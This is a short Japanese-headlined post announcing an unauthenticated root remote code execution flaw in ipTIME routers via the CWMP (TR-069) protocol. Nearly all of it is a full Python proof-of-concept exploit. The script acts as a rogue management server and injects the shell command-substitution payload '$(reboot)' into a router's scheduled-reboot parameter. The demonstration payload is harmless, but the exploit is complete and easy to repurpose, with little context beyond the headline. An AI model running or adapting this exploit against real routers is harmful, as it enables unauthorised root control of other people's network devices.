ipTIMEルータのCWMPプロトコル経由の認証なしルートRCEが発見

#!/usr/bin/env python3
import sys
import html
import http.server
PAYLOAD = "$(reboot)"
PORT = 80
NS = (
    'xmlns:soap_env="http://schemas.xmlsoap.org/soap/envelope/" '
    'xmlns:soap_enc="http://schemas.xmlsoap.org/soap/encoding/" '
    'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
    'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
    'xmlns:cwmp="urn:dslforum-org:cwmp-1-2"'
)
INFORM_RESP = (
    f'<?xml version="1.0"?>'
    f"<soap_env:Envelope {NS}>"
    '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">{id}</cwmp:ID></soap_env:Header>'
    "<soap_env:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></soap_env:Body>"
    "</soap_env:Envelope>"
)
SET_PARAM = (
    f'<?xml version="1.0"?>'
    f"<soap_env:Envelope {NS}>"
    '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">1</cwmp:ID></soap_env:Header>'
    "<soap_env:Body><cwmp:SetParameterValues>"
    '<ParameterList soap_enc:arrayType="cwmp:ParameterValueStruct[1]">'
    "<ParameterValueStruct>"
    "<Name>{name}</Name>"
    '<Value xsi:type="xsd:string">{value}</Value>'
    "</ParameterValueStruct></ParameterList>"
    "<ParameterKey>k</ParameterKey>"
    "</cwmp:SetParameterValues></soap_env:Body>"
    "</soap_env:Envelope>"
)
EMPTY = (
    f'<?xml version="1.0"?>'
    f"<soap_env:Envelope {NS}>"
    '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">0</cwmp:ID></soap_env:Header>'
    "<soap_env:Body/>"
    "</soap_env:Envelope>"
)
sessions = {}
class Handler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        body = self.rfile.read(int(self.headers.get("Content-Length", 0)))
        ip = self.client_address[0]
        step = sessions.get(ip, 0)
        if step == 0 and b"Inform" in body:
            cid = "1"
            if b"<cwmp:ID" in body:
                i = body.index(b">", body.index(b"<cwmp:ID")) + 1
                cid = body[i : body.index(b"</", i)].decode(errors="replace")
            sessions[ip] = 1
            self.respond(INFORM_RESP.format(id=cid))
        elif step == 1:
            sessions[ip] = 2
            self.respond(
                SET_PARAM.format(
                    name=html.escape(
                        "InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time"
                    ),
                    value=html.escape(PAYLOAD),
                )
            )
        else:
            sessions.pop(ip, None)
            self.respond(EMPTY)
    def respond(self, xml):
        data = xml.encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/xml")
        self.send_header("Content-Length", len(data))
        self.end_headers()
        self.wfile.write(data)
if __name__ == "__main__":
    http.server.HTTPServer(("", PORT), Handler).serve_forever()